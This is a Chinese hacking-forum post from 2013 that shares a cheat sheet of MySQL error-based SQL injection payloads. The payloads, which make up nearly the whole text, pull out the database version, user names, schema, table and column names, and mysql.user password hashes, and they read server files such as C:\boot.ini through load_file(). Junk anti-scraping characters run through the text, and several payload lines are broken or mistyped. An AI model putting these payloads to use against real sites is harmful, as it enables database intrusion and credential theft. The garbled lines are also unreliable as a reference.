找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2552|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 4 I2 i8 w+ E( d( I
5 Z' D+ W6 e* u# ]* }
# X- Q  a$ g* Q9 I
Mysql暴错注入参考(pdf),每天一贴。。。% U4 ?! F! \* N8 W. c

. H6 N1 p1 N, O+ AMySql Error Based Injection Reference; t3 n" {8 K  ~* R
[Mysql暴错注入参考]
. b% l. T. T! n+ K, NAuthornig0s1992
2 `; I2 V2 }' s8 w+ c  xBlog:http://pnig0s1992.blog.51cto.com/- e: S! W8 q6 o3 E7 h1 R2 t6 I
TeAm:http://www.FreeBuf.com/
4 X6 P( H7 [4 V$ g; ZMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
2 H+ s  h/ s3 q6 y小部分版本使用name_const()时会报错.可以用给出的Method.2测试  P9 e; w" a" u8 Y4 Q
查询版本:8 t( q( u& B0 y: n7 F; x# u
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+3 @0 f+ y  U; e5 d
join+(select+name_const(@@version,0))b)c)4 _& e; p3 ^" M  i- I+ f- A
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
1 G! _7 e8 n* O: F5 ?6 kup by a)b). ?9 @! h  o" G9 x" O. D
查询当前用户:
6 @! L" N; J: K. WMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)2 H+ L4 Y5 H8 l, e4 v8 W
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
% F+ S2 |: i1 u# [and(0)*2))x+from+information_schema.tables+group+by+x)a)3 K, m  ~& c0 x
查询当前数据库:) P7 S" j; [# i7 c3 }" _
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)5 d8 v1 X3 T! x6 i, H
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo2 Z+ O$ i; U' A! v/ h0 r5 t0 B( J/ |1 T
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)9 @  Z* n. X' Q5 ]6 T
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+% m( ]9 r3 t' A9 ^0 @1 s3 t' C
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
: G& H  R% D% d, K) U& I顺序替换/ }; G; S! b. y% b' D9 H. k7 w
爆指定库数目:
0 a; u  Z  E9 vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t% i5 s( z, B# f& {6 N
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group2 g6 k/ P1 n' t' @& H  j) h( H
+by+x)a)+and+1=1 0x6D7973716C=mysql
: F$ k0 d6 z; F( k( r- z# |依次爆表:8 f0 `7 N& _" h* v7 B, s
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
3 E; a9 y4 l9 A$ g6 b5 Fable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta% ?; F# ]% \. |3 W8 L: g8 R  J4 |% ?
bles+group+by+x)a)+and+1=1
+ K3 q7 B6 t( c  O# j0x6D7973716C=Mysql 将n顺序替换
* N6 r3 q6 g4 u" l爆表内字段数目:. w0 M+ d7 P/ M0 H
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
- H5 `* f0 J! f+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
) x) p$ t0 Y5 p6 U4 @& I3 O- L0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1% M1 o2 P/ J6 K; W: J* m
依次爆字段:% v( m/ x- H- O8 a, Q& G( |
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where- [; f' z! v+ ]) f! Q
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,14 G0 n4 A. ?0 m% ^
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
& d' b. `/ s4 U+ N! w依次暴内容:  k/ \: i1 o# Q4 |: ^- A
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche# {+ y0 k8 q$ H/ Y3 R! ~$ }
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=14 H2 `) e7 T' i0 F9 `- }% a
将n顺序替换! h- g  M$ G% {) f9 U) j6 o
爆文件内容:6 l( T6 e8 X2 z2 s9 k1 I5 K  j
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a+ x0 S+ K5 }. R  v7 D, p
from+information_schema.tables+group+by+a)b)
5 }9 x+ @4 q9 h4 R) S& P0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
# w1 S( x  @$ I% b9 {  zThx for reading.
7 Z1 X" R0 R  b9 V$ I6 g$ U' G8 ]  Y5 Z4 t& }. G
不要下载也可以,
& X  x$ q/ R; C# x

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表